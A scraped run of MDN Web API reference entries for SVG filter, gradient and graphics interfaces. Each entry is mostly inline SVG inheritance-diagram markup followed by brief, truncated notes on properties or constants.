...e">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemorphologyelement" target="_t...
...op"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemorphologyelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_morphology_operator_unknown 0 the type is not one of predefined types.
SVGFEOffsetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y...
...1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eleme...
...nt</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeoffsetelement" target="_top"><rect x=...
..."301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeoffsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEPointLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1...
...="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
...e">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfepointlightelement" target="_t...
...op"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfepointlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFESpecularLightingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="non...
...e"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-bas...
...eline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfespecularlightinge...
...lement" target="_top"><rect x="201" y="65" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespecularlightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFESpotLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="...
...121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...>element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfespotlightelement" target="_top"...
...><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespotlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFETileElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="2...
...5" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</...
...text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfetileelement" target="_top"><rect x="321" ...
...y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfetileelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFETurbulenceElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1...
...="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
...e">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeturbulenceelement" target="_t...
...op"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeturbulenceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants turbulence types name value description svg_turbulence_type_unknown 0 the type is not one of predefined types.
SVGFilterElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
...111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" ...
...text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/d...
...ocs/web/api/svgfilterelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgfilterelement.filterunits read only an svganimatedenumeration that corresponds to the filterunits attribute of the given <filter> element.
SVGForeignObjectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 12...
...1,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" f...
...ill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a ...
...xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgforeignobjectelement" target="_top"><rect x="31" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="146" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgf...
SVGGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..." y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><...
...polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" w...
...idth="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggelement" target="_top"><rect x="151" y="65" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} ...
SVGGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#...
...d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="midd...
...le" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggr...
...adientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_spreadmethod_unknown 0 the type is not one of predefined types.
SVGGraphicsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d...
...4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middl...
